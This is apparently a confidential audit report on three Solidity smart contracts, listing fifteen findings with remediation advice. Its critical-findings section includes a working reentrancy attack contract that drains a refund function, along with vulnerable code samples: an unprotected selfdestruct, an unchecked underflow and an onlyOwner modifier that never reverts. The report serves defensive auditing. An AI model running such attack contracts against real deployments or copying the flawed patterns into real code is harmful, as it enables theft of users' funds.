CONFIDENTIAL
Client ████████████████████

Smart Contract
Security Assessment

Solidity Smart Contract Audit · Static & Dynamic Analysis · Proof-of-Concept Exploitation

Assessment DateDecember 2021
Report DateDecember 19, 2021
Assessed ByAndrei Grigoras
OrganizationRed Team Security SRL
Version1.0 — Final
RED TEAM SECURITY SRL · Confidential & Proprietary
This document contains sensitive security findings. Distribution is strictly controlled.
www.redteamsec.eu
// 01

Engagement Overview

1.1 Introduction

[CLIENT] engaged Red Team Security SRL to perform a comprehensive security assessment of three Solidity smart contracts. No deployment restrictions were given — none of the contracts had been released to any mainnet or testnet at the time of assessment, which allowed unconstrained testing.

Each finding in this report includes:

1.2 Objective

// 02

Executive Summary

The assessment combined multiple automated analysis tools with manual code review. Manual review was essential because smart contract security is a niche discipline and no single tool covers the full vulnerability space. Both static and dynamic analysis techniques were applied across all three contracts.

Multiple vulnerabilities were identified across all three contracts, ranging in severity from Informational to Critical. The contract implementations do not meet acceptable security standards in their current state. Deployment to production is strongly advised against until all Critical and High findings are remediated.

2.1 Findings Summary

3
Critical
2
High
2
Medium
4
Low
4
Informational
IDSeverityCategory (CWE)DescriptionCount
SC-01CriticalCWE-284Unprotected self-destruct function allows any caller to destroy the contract and drain all funds.1
SC-02CriticalCWE-841Reentrancy vulnerability allows an attacker to drain the contract balance via recursive calls before state is updated.1
SC-03CriticalCWE-682Integer underflow in an unchecked arithmetic block enables balance manipulation leading to fund theft.1
SC-04HighCWE-285The onlyOwner modifier is incorrectly implemented, effectively making authorization checks bypassable.1
SC-05HighCWE-284The withdrawal function has no access control, allowing any address to impersonate a user and drain their balance.1
SC-06MediumCWE-1164Dead code — contract contains functions that produce no side effects and will never execute as intended.1
SC-07MediumCWE-912A hidden transfer function allows the contract owner to retrieve all user funds at will.1
SC-08LowCWE-829Block timestamps used for time-critical logic are manipulable by miners within a ~30s window.1
SC-09LowCWE-682Division before multiplication causes precision loss in the interest calculation formula.1
SC-10–11LowCWE-664Floating pragma allows contracts to be compiled with compiler versions that may have known bugs.2
SC-12–13InfoCWE-710State variable visibility not explicitly set; recommended to always declare access modifiers explicitly.2
SC-14InfoCWE-1164Unused variables declared in contract scope — should be removed to reduce attack surface and gas cost.1
SC-15InfoCWE-1006Use of multiple digits in function parameters is not a recognized Solidity coding standard.1
// 03

Technical Details

3.1 Approach & Methodology

The methodology relied primarily on the Smart Contract Weakness Classification (SWC) database, which provided a structured taxonomy of known vulnerability patterns and associated test cases. Both automated tooling and manual review were applied.

Automated tools used during this assessment:

Slither
MythX
Mythril
Oyente
Securify2
Smartcheck
Conkas

Severity definitions used in this report:

3.2 Critical Findings

Critical SC-01 — Unprotected Self-Destruct SWC-106 · CWE-284

MyToken.sol — EmergencyDestroy function

Immediate, permanent loss of all funds held at the contract address

Due to missing or insufficient access controls, any external caller can invoke the EmergencyDestroy function. This triggers selfdestruct, which permanently removes the contract from the blockchain and forwards its entire balance to an attacker-supplied address — causing immediate and unrecoverable fund loss.

// No access modifier — callable by ANY address function EmergencyDestroy(address payable _to) public { selfdestruct(_to); }

Deployed MyToken.sol to a local Ganache instance. Called EmergencyDestroy from a non-owner account with an attacker-controlled address as the argument. The contract was successfully destroyed and the entire balance was transferred to the attacker address. The transaction completed without reverting, confirming the vulnerability.

EmergencyDestroy called from non-owner — contract destroyed and balance drained

If the self-destruct capability is not required, remove it entirely. If it must exist, restrict access with the onlyOwner modifier and consider a multi-signature approval scheme to prevent any single party from triggering it unilaterally.

Critical SC-02 — Reentrancy Attack SWC-107 · CWE-841

PrivateSale.sol — getRefund function

Complete drainage of contract balance via recursive call loop

When an external contract is called, the owner of the remote contract can take control over the calling contract's execution flow. Using a recursive call technique, an attacker can re-enter the getRefund function before the first call finishes updating the internal state variable tracking purchased tickets — allowing the attacker to receive refunds far exceeding their actual balance.

// Attack contract deployed by the attacker contract Reentrancy { uint256 public constant TICKET = 0.01 ether; targetInterface public privateSale; uint256 public loop_cnt = 0; // 1. Attacker buys 10 tickets (0.1 ether) function buy(uint256 quantity) external payable { privateSale.buyTickets{value: quantity * TICKET}(quantity); } // 2. Attacker requests refund for 1 ticket function attack(uint256 quantity) external payable { privateSale.getRefund(quantity); // triggers reentrancy } // 3. Receive() loops 20x before state is updated receive() external payable { if (loop_cnt != 20) { loop_cnt = loop_cnt + 1; privateSale.getRefund(1); // re-enter before balance decrements } } } // Result: attacker receives 0.2 ETH despite paying only 0.1 ETH
Reentrancy attack draining contract balance via recursive transfer
  • Apply the Checks-Effects-Interactions (CEI) pattern: update all internal state before making any external calls
  • Use OpenZeppelin's ReentrancyGuard modifier to block recursive calls at the contract level
Critical SC-03 — Integer Underflow SWC-101 · CWE-682

PrivateSale.sol — getRefund function

Arithmetic underflow allows a user to bypass balance checks and receive unlimited refunds

The contract performs arithmetic subtraction inside an unchecked block. When the reentrancy attack (SC-02) causes the quantity argument to exceed the user's actual purchasedTicket balance, the subtraction underflows and wraps around to a very large number — granting the attacker an enormous virtual balance.

function getRefund(uint256 quantity) { // Transfer happens BEFORE balance is updated (CEI violation) payable(msg.sender).call{value: quantity * TICKET}(""); unchecked { // If quantity > purchasedTickets[msg.sender], this underflows purchasedTickets[msg.sender] -= quantity; } }

Fix the reentrancy issue in SC-02 first, as that is the root cause. Additionally, replace the unchecked block with vetted safe math libraries for all arithmetic that could overflow or underflow. In Solidity 0.8.x, arithmetic is checked by default — do not wrap balance-affecting operations in unchecked blocks.

3.3 High Severity Findings

High SC-04 — Broken Authorization (onlyOwner) CWE-285

HalbornPool.sol — onlyOwner modifier

Any address can call owner-restricted functions, bypassing authorization entirely

The onlyOwner modifier contains a logic error — it checks whether the caller is not the owner and emits an event, but it does not revert the transaction or prevent execution. As a result, the modifier provides no actual access control: any caller can invoke functions protected by it.

// Flawed modifier — missing require/revert modifier onlyOwner() { if (msg.sender != owner) { emit NotOwner(msg.sender); // logs event but DOES NOT revert } _; // execution always continues here } // Correct implementation: modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; }

Replace the event emission with a require or revert statement. Consider using OpenZeppelin's battle-tested Ownable contract rather than implementing custom access control.

Smart Contract Assessment · December 2021 · Confidential